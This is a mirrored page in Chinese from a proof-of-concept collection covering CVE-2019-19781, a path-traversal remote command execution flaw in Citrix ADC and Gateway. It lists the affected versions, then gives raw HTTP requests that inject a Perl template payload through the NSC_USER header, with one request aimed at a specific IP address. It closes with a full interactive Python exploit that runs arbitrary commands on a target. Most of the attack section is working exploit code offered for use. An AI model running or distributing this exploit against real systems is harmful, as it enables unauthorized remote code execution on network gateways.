mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
108 lines
3.1 KiB
Markdown
108 lines
3.1 KiB
Markdown
# Citrix 远程命令执行漏洞 CVE-2019-19781
|
||
|
||
## 漏洞描述
|
||
|
||
Citrix ADC（NetScalers）中的目录穿越错误，这个错误会调用perl脚本，perl脚本用于将XML格式的文件附加到受害计算机，因此产生远程执行代码。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Citrix NetScaler ADC and NetScaler Gateway version 10.5
|
||
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
|
||
Citrix ADC and Citrix Gateway version 13.0
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
访问 `https://target-ip` 或 `http://target-ip`登录系统，默认用户和密码登录：`nsroot/nsroot`。
|
||
|
||
利用目录穿越写入命令语句到`newbm.pl`文件中：
|
||
|
||
```
|
||
POST /vpns/portal/scripts/newbm.pl HTTP/1.1
|
||
Host: target-ip
|
||
Connection: close
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
User-Agent: python-requests/2.23.0
|
||
NSC_NONCE: nsroot
|
||
NSC_USER: ../../../netscaler/portal/templates/15ffbdca
|
||
Content-Length: 89
|
||
|
||
url=http://example.com&title=15ffbdca&desc=[% template.new('BLOCK' = 'print `whoami`') %]
|
||
```
|
||
|
||
|
||
|
||
GET方式访问写入的xml文件：
|
||
|
||
```
|
||
GET /vpns/portal/15ffbdca.xml HTTP/1.1
|
||
Host: 50.202.211.151
|
||
Connection: close
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
User-Agent: python-requests/2.23.0
|
||
NSC_NONCE: nsroot
|
||
NSC_USER: nsroot
|
||
```
|
||
|
||
|
||
|
||
## 漏洞EXP
|
||
|
||
```python
|
||
#!/usr/bin/env python
|
||
# https://github.com/mpgn/CVE-2019-19781
|
||
# # #
|
||
|
||
import requests
|
||
import string
|
||
import random
|
||
import re
|
||
import sys
|
||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||
|
||
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
|
||
print("Found by Mikhail Klyuchnikov")
|
||
print("")
|
||
|
||
if len(sys.argv) < 2:
|
||
print("[-] No URL provided")
|
||
sys.exit(0)
|
||
|
||
while True:
|
||
try:
|
||
command = input("command > ")
|
||
|
||
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
|
||
print("[+] Adding bookmark", random_xml + ".xml")
|
||
|
||
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
|
||
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
|
||
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
|
||
|
||
if r.status_code == 200:
|
||
print("[+] Bookmark added")
|
||
else:
|
||
print("\n[-] Target not vulnerable or something went wrong")
|
||
sys.exit(0)
|
||
|
||
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
|
||
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
|
||
|
||
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
|
||
print("[+] Result of the command: \n")
|
||
print(replaced)
|
||
|
||
except KeyboardInterrupt:
|
||
print("Exiting...")
|
||
break
|
||
```
|
||
|